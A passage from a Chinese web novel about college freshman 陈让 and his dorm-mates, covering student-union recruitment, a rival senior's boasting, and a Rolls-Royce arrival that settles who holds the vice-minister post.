“呵呵，我那本小说，数据可比你的装逼帖好！另外施耐庵还真就造过反，张士诚的军师，了解一下！” “……” 六零六这对“卧龙凤雏”正在拌嘴，薛文彬突然放下了《高等数学》，眼巴巴看着“卧龙”。 “六哥，我看了你那本小说，写的真好！沈幼楚简直就是我的梦中理想！这样的女孩子，哪怕说‘锤子’，也比别的姑娘说‘哥哥’要好听吧。我要能找到一个这么温柔的川渝女孩，此生无憾了！” 广东靓仔可谓不忘初心，始终牢记着他放弃中大、跑到蜀大的主要原因——讨个温柔的川渝老婆。 “靓仔，不是我打击你啊，你大概率是找不到的——”陈让摸了摸鼻子，“川渝女孩就两个温柔的，一个被渣男陈汉生骗了，一个逃荒跟了朱时茂……其他都尼玛暴龙。” 王子聪接过话茬：“六子，那你家林静姝呢，她也是川渝暴龙？” 陈让耸肩：“她又不是正宗的川妹子，妈妈祖籍在德州而已，人家根正苗红的沪上圈大小姐！” 王子聪突然加大音量：“靠，你不早说，那我的系列帖要改设定了啊！” 他这一嗓子，把还在跟刘雯发短信的杨少杰吓得一哆嗦。 杨少杰放下手机，选择了嘲笑王子聪一下。 “王老五，你可真不要脸，硬生生把六哥的人生，往你身上套，还两大校花倒追你，天仙级小可爱整天粘着你，你也配！” 六零六整体氛围还是可以的，但是也有小摩擦和小罅隙。 譬如杨少杰和王子聪——这两人就始终有点不对付，逮着机会就互相戳肺管子。 符合逻辑——王子聪选择了回怼。 “杨老三，你还有脸笑我？舔他妈刘雯，也不知道什么品味……” “萝卜白菜，各有所爱，关你屁事？” “呵呵，那少爷我跟你讲个故事吧——话说今天下午啊，我在二食堂、看到刘雯跟某个学长打得火热哦，那叫一个你侬我侬、郎情妾意……” 杨少杰怒了：“王老五，你他妈瞎编吧，雯雯不是那种女孩儿！” 王子聪表情贱兮兮的，拍了拍薛文彬：“老四，谁都知道你是老实孩子，今天下午你也在的，不给我做个证？” 薛文彬叹了口气，看向杨少杰：“三哥，老五确实没瞎掰……” 杨少杰先是一愣，接着精气神好像瞬间就被抽离了，成了霜打过的茄子。 正如王子聪所言，薛文彬是个老实孩子，谁都可能撒谎，唯独他不可能。 “行了，这事儿打住啊，五哥你也管管你那张臭嘴。” 陈让站出来打了个圆场。 他自己淋过雨，知道替别人撑伞。 始终坚定认为，少年真诚的喜欢，哪怕所托非人，如何愚蠢，也不该被嘲笑。 “六哥，谢了……我……我出去走走。” 杨少杰低垂着脑袋，临走前还拿了桌上一包烟。 边走边点，伴随剧烈咳嗽，就挺狼狈。 王子聪还在喋喋不休：“老三，你他妈——” 陈让不由皱眉：“五哥，不都说打住了么？” 王子聪就很烦：“不是啊，六子，他emo就emo吧，为啥要摸走我的烟……” 陈让：“……” 半小时后，杨少杰回了寝室。 陈让瞅他一眼，吓了老大一跳。 “老三，你他妈眼睛好红啊，太奶奶骨灰掉里面啦？” “六哥，我都这样了，你还调侃我……” “靠，多大个事儿，本质上你跟刘雯还什么都没发生啊，你这连失恋都算不上！” 对话至此，杨少杰突然发了句狠，说他明天要去参加学院的学生会纳新！ 陈让疑惑：“老三，你这思维有些跳脱啊，刚才还在说刘雯呢，怎么就扯到学生会了？” 杨少杰咬牙切齿的解释，说泡刘雯的那个学长，就是仗着自己学生会干部的身份，到处勾搭小姑娘！ 蛇鼠各有道——杨老三出去这一会儿功夫，竟是把那位学长的底细摸清楚了，姓张，叫张恒宇，经济学院文体部的部长。 杨少杰这么一说，王子聪和薛文彬也来兴趣了，表示明天要跟杨少杰一起去。 讲道理嘛，现在加入学生会，熬上一年变成学长后，他们不也能仗着身份去泡学妹？ 王大少自己决定要去以后，还拍了陈让一下： “六子，你去不去哦？以你五哥的天赋才情，明天保底弄个部长当，你虽然各方面都差我一点点，但是弄个副部长还是没问题的！到时咱哥俩来个卧龙凤雏、双剑合璧——何愁大业不成？” 陈让赶紧摆手：“咳，我就不去了……” 讲道理，他都是校文体部在望江校区唯一的副部长了，学院级别的学生会纳新，他去了不就成了视察支部工作？ 需要哪些支部领导陪同？ 工作餐如何安排？ 会不会打扰到各支部的工作？ 所以吧，“大领导”要有“大领导”的觉悟，不能随便“下基层”的。 此时他手机响了——陈总一看，米莱给他发的QQ信息。 军训时小米同学加过他好几次，陈让都给拒了，但是他当选班长后，米莱再加他，某人就只能同意。 没办法，权利跟义务对等。 “班长，明天学院学生会纳新，你去不去？” “我就不去了。” “为什么？你既然当了咱们班的班长，为什么不更进一步，在学生会也混个一官半职呢，这样才能更好的、为咱们班同学争取利益啊。” “混到了啊，我现在已经是文体部的常务副部长了——我睡觉了啊，不跟你扯了，拜。” 女生宿舍，小米同学看着陈让发给她的信息，忍不住又夹了下腿。 大家都还在讨论要不要去参加学生会纳新，陈让就已经是文体部副部长了？ 班长也太厉害了吧！ 刚进校时，小米同学很瞧不起陈让，觉得他是个low逼。 居然跟王子聪这个货一起，拿着个破手机装逼。 所以从刘雯口中得知陈让想追她后，她才会那么的颐指气使，带着一帮小姐妹去滋陈让，好教他晓得，本女神是多么的高不可攀，癞蛤蟆就要有癞蛤蟆的觉悟。 然后可怜的小米同学就挨了两张“二向箔”，先后被夏灵珊和赵兰蕤、两位校花级大美女“降维打击”。 最后出场的天仙级学神少女，更是把她打击的体无完肤，甚至让她觉得自己长得像类人猿。 同时也对陈让产生了浓烈好奇。 这家伙是有些优秀。 但也不至于说——能让两位大校花甘心当他的备胎，能让林静姝这样的天仙少女，把他当成生命中唯一的光吧？ 锲而不舍，终于加上陈让QQ后，她隔三差五就会给陈让发个消息，想多了解他。 奈何陈让基本不搭理，偶尔回应，也高冷得很，没有半句废话。 此时边上的刘雯拍了她一下：“小米，愣什么神呢。” 米莱解释：“雯雯，我问陈让明天去不去参加学院的学生会纳新，他跟我说，他已经是文体部副部长了，班长也太厉害了吧！” 刘雯同学表达了质疑：“小米，这话你也信啊，哪有大一新生就能当副部长的？” 米莱皱眉：“就没有特例吗，要陈让特别优秀呢？” 刘雯答得斩钉截铁：“绝不可能，我咨询过张恒宇学长的，他说所有大一新生加入学生会，都必须从干事做起。” 米莱还是不信。 毕竟已经被打过脸了。 她觉得陈让不是那种信口雌黄的人。 “这个很好求证啊，张学长就是咱们学院文体部的部长，陈让要真是副部长，他肯定认识。” 刘雯果断掏出手机，给张恒宇发了个短信。 张学长秒回。 “雯雯学妹，我专门求证了下，部里面并没有一个叫陈让的副部长，甚至连干事都没有，话说这个学弟，吹牛有点不打草稿啊。” 刘雯洋洋得意，立马将短信给米莱看了。 米莱看着眼前的“铁证”，对陈让的评价，瞬间从一个极端滑到了另一个极端。 还以为陈让与众不同呢，没想到也是个喜欢吹逼、给自己脸上贴金的货色！ 看来那三个大美女，都是被他用这种拙劣手段给忽悠的。 现在还想忽悠她，甚至跟她装高冷？ 呵呵呵，真下头！ 一念至此，小米同学默默撤回了给某人当情人的打算、给他生猴子的决定。 为什么小米同学对男生撒谎零容忍？ 皮裤套棉裤，肯定有缘故。 她高中时代，曾被一个满嘴谎言的渣男骗过，差点就被吃干抹净！ …… 第二天，九月二十六日，星球六。 熹微晨光中，六零六哥几个便都起床了，捯饬的捯饬，洗漱的洗漱。 陈总是要跑一趟江安校区，其他哥仨嘛，当然是去参加学院的学生会纳新。 值得一提——杨少杰这货，一改昨日萎靡，今天精神抖擞得很。 以至于陈总都有些诧异，拍了拍他：“老三，你这自我调节能力可以啊，这么快就从‘失恋’的debuff里面走出来啦？” 杨少杰嘿嘿一笑：“六哥，我找雯雯她们寝室一个女生问清楚了，原来那叫个张恒宇的狗学长，要追的不是雯雯，而是米莱，他昨天单独跟雯雯吃饭，不过是为了打探情报……” 陈让按了按眉心：“所以……咱这是打算继续舔？” 杨少杰十分严肃的回答：“六哥，喜欢一个人就要无条件的对她好，这怎么能叫舔？” 陈让：“……” 只得拍了拍他的肩膀，跟他说了句“老三，你开心就好”。 陈总这样的“人间清醒”，肯定不会试图去叫醒一个装睡的人。 一个多小时后，陈让到了江安校区，然后跟李云飞在图书馆碰头。 接下来三个小时，陈总都在看稿。 结果他很满意——上百篇稿子，过稿率达到了百分之八十以上。 陈让觉得，再这么来几次，等李云飞对众众网需要的稿件风格，更加熟悉后，由他终审这个步骤都可以省掉。 至于把审稿权限全都给了李云飞，这货会不会“以权谋私”——陈总信奉“用人不疑、疑人不用”，对于没发生的事，他不会去胡乱假设。 再说了，只要这货能把事情给他办好，捞点就捞点吧，在他底线范围内就行。 据说啊——真的只是据说——后世整个武汉洪山区的“第三产业”、大半都是靠公款吃喝的华为员工撑起来的。 这事儿影响人家化为牛逼了吗？ 审完稿子后，陈让问了李云飞一嘴儿，认不认识设计专业的。 他这几天，请了大帮人在武侯区这边几大高校发传单、宣传“众众网”。 钱花出去不少，效果却挺一般。 传单这玩意儿吧，大家随手接过随手也就扔掉。 陈总思量一番，决定把传单改成团扇。 九月底，蓉城这边还挺热的。 学生们拿着团扇，大概率不会扔掉。 陈让现在想找个设计专业的同学，设计团扇上要印的宣传图片——设计专业也在江安校区这边。 “认识啊——”李云飞点头，“我有个高中同学就是设计系的，绩点专业前五呢，陈部长，现在也到午饭时间了，要不咱们去食堂吃个便饭，我把我那高中同学一起叫来——” 于是陈总跟着李云飞到了食堂，见到了那位设计系学霸。 此人名叫楚云龙，戴着副高度近视眼镜，长得就挺学霸，的确也很专业，来吃个饭还带着笔记本电脑。 问清楚陈让有哪些诉求后，只花了半个小时，就设计出了让陈让非常满意的图案。 “楚学长，牛逼啊。” 陈总也不含糊、直接从钱包中摸了两百块钱递给楚云龙。 办完正事后，三人边吃饭边闲聊。 三个大老爷们儿能聊什么呢——符合逻辑，话题快进到聊妹子。 李云飞表情略显猥琐：“陈部长，待会儿吃完饭，咱哥俩带你逛逛我们江安校区吧，带你看看美女！” 陈让摆手：“那还是算了，你们江安校区的妹子，质量真比不上我们老校区，无甚看头，你俩要实在无聊，要不待会儿陪我去印刷厂转转吧，咱们先把团扇印出来……” 陈总为啥想叫李云飞和楚云龙一起？ 他觉着这俩货都算人才，比不上杨艺这样的SSR级，但是评个A级没问题。 李云飞精力非常旺盛，执行力也够强悍，又是中文系的，培养一番，众众网未来的内容部主管不就有啦？ 楚云龙么，虽说接触不深，但是人家专业技能点满了啊，也值得纳入麾下。 叫上这两人一道，当他们对“众众网”的建设有了参与度，很容易就能转化成归属感。 李云飞听了陈总的话，却挺不服气：“陈部长，你觉得我们江安校区妹子质量低，那是你没见过外国语学院的一位学妹，相信我，绝对漂亮，保管你看到了，眼睛都挪不开……” 楚云龙也跟着附和——哥俩都表示吃完饭就拉着陈总去外国语学院逛逛，看看他们江安校区的颜值天花板，给他洗洗眼睛。 “外国语学院……” 陈总脸颊抽了抽，心想俩货说的，不会是夏灵珊吧？ 他毫不犹豫拒绝，并且给出了理由——你们陈部长这人阈值高，不是天香国色，真心难入我眼。 李云龙和楚云龙：“切——” 心想陈部长你装啥尬逼呢。 也就是没见着。 真见到了，眼珠子都能掉地上！ 吃完饭后，一行三人到了校门口。 李云飞边研究路线，边跟陈总说：“陈部长，我们坐公交？” 陈让说了句“可以”，然后让两人再等等——他还有个朋友正坐校车过来。 两个小时前，某位学神少女给她的好朋友发了信息。 “陈让，你知道今天星期几吗？” “星期六。” “错了哦，今天是星期遛！” “……” 都这么点了，陈总还能不懂？ 于是跟林静姝说，自己在江安校区，她可以坐校车过来找自己。 “马上出发！” 五六分钟后，满脸高冷的林静姝，出现在了校门口。 陈总有些疑惑——她不是从校车上下来的。 不过也没多想，抬手叫了声“林呦呦”。 “昂！” 看到陈让后，学神少女脸上高冷的保护色顷刻退去。 甜美一笑，小跑着向某人靠拢，然后很丝滑的跟他牵上了手。 中间这个过程，李云飞和楚云龙完全傻眼，更是被林大美人论外级别的美貌硬控当场。 尼玛，这天仙吧？ 哥俩对视一眼，都承认自己刚才浅陋了。 讲道理，要有这么一尊天仙级女友，他俩阈值也高。 外国语学院那位夏学妹的确漂亮，但是跟眼前这位比…… 淡了，真的淡了。 陈总肯定不知道这俩货的心理活动，正准备给他俩介绍一下，林静姝破天荒的先开了口：“你们好，我是陈让家的林静姝。” 好像自从叶芊芊说过这句话以后，她就很喜欢如此自我介绍了。 第88章 工作的时候称职务！ 第八十八章 工作的时候称职务！ 林大美人那句“陈让家的”，又给李云飞和楚云龙哥俩狠狠滋了一下，那叫一个凄凄惨惨戚戚哀哀怨怨艾艾。 这里陈总肯定有话说——咱俩只是好朋友，你俩觉得被滋了，那是自个儿的问题，跟老子可没关系。 几分钟后，两个人类英雄和两个单身狗——合计四个移动单位——到了站牌下等公交。 结果连续三趟都满员。 出租车也没见到一辆空车牌。 得勒，午高-峰。 虽然零九年不是九九年，跟二五年却还是没有可比性。 譬如还要等几年，网约车才会出来。 这个年代要坐车，除了公交和出租，就是各种“野猪儿”，也就是无证运营车辆。 不局限汽车，还有电瓶车，摩托车，载人三轮…… 校门口倒是有很多“野猪儿”，但是陈总不敢坐。 “难道我该买辆车？可是大一刚开学就买车，是不是有点浮夸了啊……” 陈总正咕哝，林静姝听了去，偏着小脑袋问他。 “陈让，你需要车吗？” “啊——” 陈让下意识点头。 林静姝掏出了自己的黑莓手机，开始编辑短信。 几分钟后，一辆霸气威武的大黑车缓缓开来。 午高-峰校门口，明明大黑车后面跟着好几辆公交，蓉城公交车师傅又是出了名暴躁，却硬是没谁按喇叭，催促大黑车快点。 肯定不是师傅们突然变得有素质了，而是觉得自己不配。 这辆大黑车的Logo，两个“R”重叠，车标则是曲线优美的“飞天女神”。 它叫“Rolls-Royce”，也就是“罗尔斯·罗伊斯”。 不过国内一般不这么叫，而是简称“劳斯莱斯”。 大黑车停住后，驾驶座车窗摇下，露出满脸姨夫笑的孟叔。 陈总看向某位沪上圈的大小姐。 “所以……你是坐孟叔车过来的？” “富贵同学，恭喜你，答对了，但是没有奖。” 虽说学神少女有自己的语言库，但是跟陈让在一起时，她更喜欢加载某人的。 陈让翻了个白眼。 “傻妞，那你为什么不早说，而是跟我在这儿等公交，晒了起码半小时……” “陈让，我都没有跟你坐过公交，很想坐一下吖。” “……” 陈总突然觉得“傍富婆”也挺香。 “林静姝，我不想努力了，你包养我吧！” 学神少女的桃花眼骤然发亮。 “真的可以吗？那你贵不贵……好吧，富贵同学你肯定很贵。不过没关系，我可以打电话问妈妈要钱！” “那还是算了……” 陈让连忙摆手。 林大美人的钱应该很好搞。 但是她妈——梦里啥都有。 说起宋女士，陈总想起个事。 暑假时，宋女士让林静姝送了他老妈一对翡翠镯子。 当时陈总瞄了两眼，觉得应该值大几十万。 后面仔细评估，发现自己还是浅陋。 镯子乃是极上等冰种，没有两百万怕都拿不下来。 宋女士这个行为，不仅是示威，还是在挖坑。 有来就得有往。 普通家庭，砸锅卖铁也回不起这么贵重的礼物。 当然也可以不回，或者把镯子退回去。 但这也就意味着，从此以后，宋女士都将延续她的优越感，更加瞅不上陈让和老陈家。 “林静姝说过，国庆长假她妈妈会回德州一趟，也就是说，我得想想该回什么礼了……” 看着眼前这辆霸气威武的“劳子”，李云飞和楚云龙哥俩再次傻眼。 陈部长是真牛批！ 搞事业风生水起，“傍富婆”这条赛道，人家也是“我于人间全无敌”。 一行四人上了“劳子”后，很快到了附近一家印刷厂。 谈业务肯定是陈总上阵。 这事儿没什么好说的，有钱好办事。 陈总出手很大方。 小生意需要锱铢必较，干大买卖就得学会抓大放小。 谈好业务后，小赚一笔的厂长，美滋滋的带着众人参观车间。 林静姝进了车间后，拿起一把印着仕女图的折扇，一会儿唰得打开，一会儿又啪得合上，玩得不亦乐乎。 厂长干脆把这把样品扇送给了她。 学神少女立马变得很高兴。 打开折扇，遮住自己大半面容，只露出粲粲如星的双眸，问陈让好不好看。 陈总心想姑娘你长成这样，扮鬼脸也好看，别说现在这种“犹抱琵琶半遮面”的朦胧美。 怎么能用好看来形容你呢，得用你来定义好看！ 话分两头说—— “大师兄”这边耽于美色，“八戒”、“沙僧”和“小白龙”这边，就有点惨了。 六零六哥仨，正在被某位狗学长滋。 下午两点半，高悬烈日之下，望江校区综合大楼前，搭着许多简易帐篷。 许多学院都在这里搞学生会纳新。 本来定在上午的。 但是校学生会那边临时有个会议。 下辖诸多学院、大小干部都要参加。 纳新活动就给改成了下午。 隶属经济学院的两个帐篷前，排着长长队伍。 六零六哥仨赫然在列。 天气燥热，哥仨又白起了个大早，肯定烦躁。 唯一值得欣慰的——跟哥仨一起排队的，还有本班许多女生。 譬如系花米莱。 又如刘雯。 杨少杰一直在跟刘雯套近乎，刘雯对他依旧爱答不理。 王子聪则把目标对准了米莱，屁颠屁颠的搭讪。 米莱倒是回话了，俏生生的问：“王子聪，你们六零六其他三个都在，为什么班长不在？” “你说六子啊，这家伙不一直这样么，神龙见首不见尾的，再说他对学生会纳新什么的，估计也不会有兴趣。” 说没两句，王大少开始给自己贴金。 “其实我兴趣也不大，少爷我生来就是领导别人的，怎么可能被人领导？不过是陪着那俩棒槌罢了。” 说着指了指杨少杰和薛文彬。 边上刘雯开始翻白眼： “王子聪，你就别帮着陈让吹牛了，要他真没把学生会放在眼中，昨晚又怎么会跟小米吹牛，说他已经是文体部副部长了？” “六子已经是文体部副部长了？”王大少一惊一乍，“靠，照这么发展下去，他岂不是……快有我一半优秀了？” 薛文彬和杨少杰，也都咦了一声，表情惊诧。 或许是陈让口风紧，更可能是他觉得此事不值一提。 六零六哥仨都不知道，他已经是校文体部副部长。 刘雯皱眉：“王子聪，你没听清楚我说什么？我没说陈让是文体部副部长，我说他吹牛说自己是副部长！” 王子聪翻白眼：“雯雯同学，我知道你对我们家六子有偏见，但是论智慧跟武功，他也就比少爷我差那么一点点，区区一个文体部副部长，他还用得着吹？” 薛文彬立马附和：“对，六哥既然说了他是文体部副部长，那他就一定是！” 杨少杰没说话。 一边是哥们儿，一边是喜欢的女孩儿，他表示很煎熬。 “呵呵！” 刘雯掏出手机，对张恒宇放了个召唤术。 张学长就在附近，很快过来了。 “雯雯学妹，什么事？” 他跟刘雯说话，目光却放在米莱身上。 “张学长，这几位都是陈让的室友，我说陈让在吹牛，他们还不信，觉得我在往陈让身上泼脏水，你得证明我的清白！” 刘雯这话说得很大声，吸引了在场许多同学的注意。 张恒宇笑了笑：“几位学弟，雯雯学妹真没说谎，鄙人不才，就是咱们学院文体部部长，下面三个副部长我都认识，很遗憾的告诉你们，并没有一个叫陈让的，别说副部长了，他甚至连干事都不是！” 班上同学不由讨论。 “额……班长真吹牛啦？” “张部长都实锤了，那还有的洗？” “何必呢，没人觉得他不厉害不优秀啊，为什么还要往自己脸上贴金？” 起先窸窸窣窣，很快愈演愈烈、直到甚嚣尘上。 哥仨顿觉老脸挂不住。 却还是不相信陈让会撒谎。 可张恒宇都明确说了文体部查无此人，还能有比这更石锤的？ “陈六子在他妈搞什么啊，怎么也学老子装尬逼哟？” 王大少腹诽。 “米学妹，我们文体部在经济学院还是很有排面的，我强烈建议你加入文体部，有我在，你都不用排队面试，直接就能来。” 张恒宇开始跟米莱套近乎。 然后装作不经意的露出腕表。 刘雯眼睛一亮：“张学长，你这表好炫酷。” 张恒宇云淡风轻：“学妹你说这个啊，积家一款表，也没多贵，十来万而已。” 经常装逼的同学都知道，这句话重点在“而已”。 米莱家境不错，却也忍不住咋舌：“学长，那你可真舍得。” 十多万的腕表，她真想要，家里倒也买得起，但是没必要。 终于吸引到了米莱，张恒宇内心窃喜，面上却是不动声色。 “米学妹，这表确实贵了些，但我买东西向来是喜欢排第一，价格排最后。” 米莱当然知道张恒宇在装，抑制不住生理性厌恶。 她最讨厌这种故作姿态的男生。 高中时骗她感情的那个渣男如此，张恒宇如此，王子聪如此。 连先前高看一眼的陈让，本质也是如此。 都下头男！ 刘雯没见过什么世面，此时嘴巴张成“O”型，俨然把张恒宇当成了男神。 杨少杰肯定吃醋，却什么话不敢说。 他一个普通家庭的孩子，哪装得过张恒宇这种富二代？ “切——” 王大少嗤之以鼻。 他也就不喜欢玩表，不然非让这家伙见识见识、什么才叫顶级腕表。 积家入门款也敢拿出来装？ 换“百达翡丽”和“爱彼”还差不多！ 都是装逼，人家陈六子装得多清新脱俗？ 哪像眼前这个狗学长，没货硬装！ 不只王大少—— 杨少杰和薛文彬也都想到了陈让。 心想六哥在的话，一定有办法让这个狗学长装不下去。 “阿嚏！” 回校路上，陈让猛然打了个喷嚏。 孟叔开车，他跟林静姝坐后座。 “孟叔，你怎么会在省城？” “宋总不放心大小姐，让我就在学校旁租了个房子，大小姐有什么事，我随叫随到。” “这样啊——” “小陈，你留个我的电话，回头你要用车，也可以打我的电话。” 孟叔语调平缓，把自己手机号码报了一遍。 “孟叔，那多不好意思——” 陈总嘴上这么说，存电话的速度却不慢。 讲道理，谁能拒绝一辆免费的劳斯莱斯幻影？ 刚存上孟叔电话，陈让手机响了。 看了看来电提示，赶紧按了接通键——校文体部部长，也就是他“上司”沈玲打来的。 “陈让，今天上午开会，你为什么没来？” “我忙……” “呵呵，忙着以权谋私吧，别以为我不知道，你整天拽着文学社那帮同学开会是在干嘛……” “学姐，看破不说破。” “去去去……给你安排个任务，你们老校区各大学院，今天下午都在纳新，你代表我们校文体部去露个面……” 陈让下意识就要拒绝，话到嘴边又给憋了回去。 他刚当上副部长就开始“以权谋私”，上午开会还缺席了，现在再推辞“领导”安排的工作，那就真有些说不过去。 “好吧，那我跟着就去，一定传达好部长大人您的指示，让下面的人明白，部长大人您有多么的英明神武……” “噗——你小子这张嘴，混官场怕也是一把好手。” “那还是算了，我这人贪财又好-色，真当了官，迟早会被双-规……” “鹅鹅鹅……你快点去吧！” “保证完成任务！” 挂了沈玲电话后，陈总发现，林静姝正皱眉看着他。 “干嘛？” “陈让，能不能答应我一件事？” “说。” “你可以贪财，但是……能不能不要好-色？” “……” “小陈，我是先送你回宿舍，还是先送大小姐？” 此时孟叔突然开口——原来已经到望江校区东大门了。 “先送林静姝吧，我要去综合大楼一趟，有点小公务。” “好咧。” 下午三点左右，综合大楼前，刘雯正跟米莱说悄悄话。 “小米，感觉怎么样。” “什么怎么样？” “张学长啊，你不会以为他想追我吧，我有自知之明的……” “也就那样吧，还不如陈让。” “不会吧，陈让是有些不同，但家庭条件也就一般，跟张学长这种有风度有涵养的富二代，差太远了！” 米莱没有再说什么。 张恒宇在她的打分系统中，跟王子聪一档，都不及格。 陈让本来分数挺高，但是因为昨晚跟她“吹牛”被扣了不少分。 小米同学自认为已经摸透了陈总。 有点东西，但是不多。 反正甭想自己再给他生猴子！ 此时一辆霸气威武的大黑车从前方驶来，然后逐渐减速，停在综合大楼前。 无数目光都被吸引。 这辆大黑车……压迫感实在太强。 “我靠，这黑车好大，比面包车都大，什么牌子，没见过啊……” “我也不认识，但它真的好威武好霸气。” “这车得多少钱啊？” 众人开始讨论。 杨少杰捅了捅王子聪。 “这车怕是能值一百万吧……老五，你认识不？” 王大少翻白眼。 “老三，你可真他妈土鳖，还一百万，一百万也就能买个车轱辘，这是劳斯莱斯幻影，落地价七八百万！” 许多人都开始倒吸凉气。 都知道劳斯劳斯是顶级豪车，商务车里面的皇帝，现实中却还真没几个见过。 毕竟现在是零九年，国内经济还没真正起飞，整个蓉城都没多少辆“劳子”。 刘雯问张恒宇：“张学长，这车真有王子聪说的那么贵？” “真有……”张恒宇先是点头，然后抑制不住感慨，“要能拥有一辆这样的车，此生无憾了。” “噗——”王大少乐呵，“张学长，不对啊，你刚才不说你买东西喜欢排第一，价格排最后么，你明明很喜欢幻影，为什么不买，不会是买不起吧！” “你……” 张恒宇脸颊抽搐，却还在努力维系风度。 “这位学弟，我家咬咬牙，倒还真能买，只不过没必要而已。” 看得出来，张学长真的很喜欢说“而已”。 “切，放嘴炮谁不会？那少爷我还买得起布加迪威龙呢，只不过少爷不喜欢！” 王子聪翻了个白眼后，懒得跟这家伙再扯。 他更好奇这辆莱斯莱斯上坐着谁。 未必经济学院还有比他家世更好的？ 许多目光注视下，车门缓缓打开。 众人石化——竟是陈让！ 六零六哥仨都满脸懵逼。 怎么会是陈六子？ 这家伙不是赌咒发誓的说，他爸妈就是普通双职工么。 普通家庭开尼玛“劳斯劳斯”？ 离了个大谱！ 但是很快，哥仨心里的参差感就被爽感取代。 来了！ 我们家六爷来了！ 他乘风破浪！ 他披荆斩棘！ 他坐着莱斯劳斯来滋狗学长了！ 这不是拿歼星炮打蚊子？ 太残忍了，但是我们喜欢！ 女生们表情也很懵。 陈让不穿名牌衣服，不用豪华手机，怎么看也不像有钱人。 结果人家坐劳斯劳斯来学校…… 所以这才是真正顶级的富二代？ 可以低调，也可以奢华！ “你们眼神怎么都那么怪，这男生谁？” 张恒宇有些懵。 刘雯结巴着说：“学长，他就是陈让……” 张恒宇眼神变得复杂。 他从刘雯口中打听到米莱对陈让有些意思后，就对陈总抱着敌意。 后来知道陈让“吹牛”说自己是文体部副部长，张恒宇直接笑疯。 喜欢装尬逼？呵呵哒，装成傻逼了吧。 老子就是文体部部长，你小子是副部长，我怎么不知道？ 再没拿陈让当盘菜。 现在见陈让坐着劳斯劳斯，他又感到了莫大压力。 仔细思考后，张学长决定做点什么。 陈让走到简易帐篷前，笑着跟班上同学打了声招呼。 “哟，大家伙儿都在？” “六子，你他妈及时雨啊！” 王大少上前狠狠锤了陈让肩膀一下。 “焯，王老五，你想把老子锤散架？” “咳，一时激动，反正……六爷你出现的太及时了……” 王子聪嘿嘿直笑。 薛文彬和杨少杰哥俩，也都差不多表情。 陈让莫名其妙。 此时张恒宇走到陈让面前。 “你就是陈让？” “我是，请问……有何指教？” “我怎么听人说，你到处跟人说，你是我们文体部副部长？” “我本来就是啊。” 陈总虽然没有一丈二那么高，但他表示摸不着头脑。 这家伙谁啊，认都不认识，一过来就跟他人五人六的。 “噗——” 张恒宇肩膀耸动，指了指自己。 “陈学弟，请允许我自我介绍一下，我叫张恒宇，今年大三，忝居文体部部长一职，我可以很明确的告诉你，我们文体部，并没有一个叫陈让的副部长。” 陈总：“……” 尼玛多读过两年书就是不一样啊，还“忝居”，用词这么骚气的吗？ 不过现在有个很哲学思辨的问题啊。 如果这家伙是文体部部长，那他妈沈玲是谁？ 总不能说，自己一不小心，又进入平行世界了吧！ 张恒宇嗤笑着摇头。 “陈学弟，你说你家里那么有钱，长得也不差，何必通过撒谎的方式，来吸引女孩子的注意力？” “好吧，米学妹确实不是有钱就能追到的，但是你也不能如此下作，妄图用欺骗的方式，来吸引米学妹的注意力吧？” 张恒宇的话，一句比一句重，最后俨然就是咄咄逼人。 陈总小脑袋瓜子一直很灵光。 愣了一会儿，也就回过味来了，想明白了到底怎么回事。 还有这个叫张恒宇的狗学长，又为什么对自己这么大敌意。 这个世界没有无缘无故的怨与憎。 当一个人贬低和打压你时，一定是想抬高自己，以达成某种目的。 也就是说，这家伙在追米莱，还把自己当成了假想敌。 陈让又好气又好笑。 米莱还用追？ 你们眼中高冷系花，私底下对老子不知道多主动。 “张恒宇——” “学弟，我希望你给我些基本的尊重，就算不叫我张部长，起码也该叫我声学长。” “好的，学长，咱们先理理，你说你是文体部部长，你说的，应该是咱们学院吧。” “有什么问题？” “那有没有可能，我是校文体部副部长，现在分管咱们望江校区所有学院的文体部，是你的顶头上司？” “学弟，你有点幽默。” 张恒宇乐得不行。 陈让挑了挑眉： “我这人是有些幽默感，但是工作时我从来不开玩笑。我出现在这里，是代表校文体部来视察各个学院支部工作的……希望你也给我些基本的尊重。” 张恒宇开始懵。 陈让身上那股“厅里厅气”的范儿，太他妈正宗。 但是理智告诉他，这小子绝对在撒谎。 首先，校文体部不会直接招大一新生。 而是由各大学院支部推荐、再择优录取。 其次，即便破例，也不可能让大一新生当副部长。 讲道理，哪有这种一步登天的美事？ 除非这小子是孙副校长的干儿子——为什么不是聂老校长，一把手都是抓党务的，基本不会管校务。 但是这又怎么可能？！ 一念至此，张恒宇眯了眯眼：“陈学弟，我耐心是有限度的，你装到这个份儿上，真的有点过分了。” “巧了，我的耐心也有限度。” 陈总耸耸肩，掏出手机，当着张恒宇的面，给沈玲打了过去。 很快接通。 “学姐，出了点小问题……” 简单说几句后，陈让把电话递给张恒宇。 张恒宇终于察觉不对劲了，脸色苍白接过。 半分钟后，他挂了电话，哆嗦着说：“陈学弟……我想我们之间存在误会……” “误会不误会的先不提——”陈让摆了摆手，“小张同-志，我有必要提醒你一下——工作的时候称职务！” 张恒宇脸色煞白，继续哆嗦：“陈……陈部长。” 第89章 思念是一首难捱的离骚 第八十九章 思念是一首难捱的离骚 学生会本质上并不是正规官方机构。 整个蜀大学生会，也就校学生会主席有正式聘书，算个芝麻绿豆官。 也就是说—— 即便“陈·植物·让”，真是张恒宇的“直系领导”，从逻辑上讲，张学长也不至于如此前倨后恭，思之令人发笑。 那么张恒宇表现得如此谦卑和惶恐，底层逻辑在哪儿？ 这个逼“迪化”了。 “工作的时候称职务！” 陈总这句官腔，拽得太尼玛正宗，那都不是“厅里厅气”了，而像是在中-南-海上班的。 张恒宇开始脑补—— 陈让这么纯正的官腔哪儿学来的？ 又怎会刚进大一就当了校文体部副部长？ 答案很快呼之欲出—— 人家是太子爷！ 爷爷死后能进八宝山！ 爸爸起码省部级！ 这叫家学渊源！ 所以说“自我攻略最致命”。 当然—— 张学长会如此脑补，那辆霸气十足、贴满了特种通行证的劳斯莱斯幻影，也立足了汗马功劳。 从心理学角度剖析，这叫“晕轮效应”！ “咳，陈部长，是我瞎了眼……您代表总部来我们院支部视察，怎么也不提前打个招呼啊……” 张恒宇浑身冷汗，不住道歉。 陈总肯定不知道张学长会脑补那么多，刚才拽那么一句“工作的时候称职务”，纯粹就是氛围烘托到那里了，不引用一下，岂不是对“育良书记”不尊重？ 搞不懂张恒宇为何如此低三下四，却也不妨碍陈总继续跟他人五人六。 摆出一副上位者姿态，轻轻拍了拍张恒宇的肩膀。 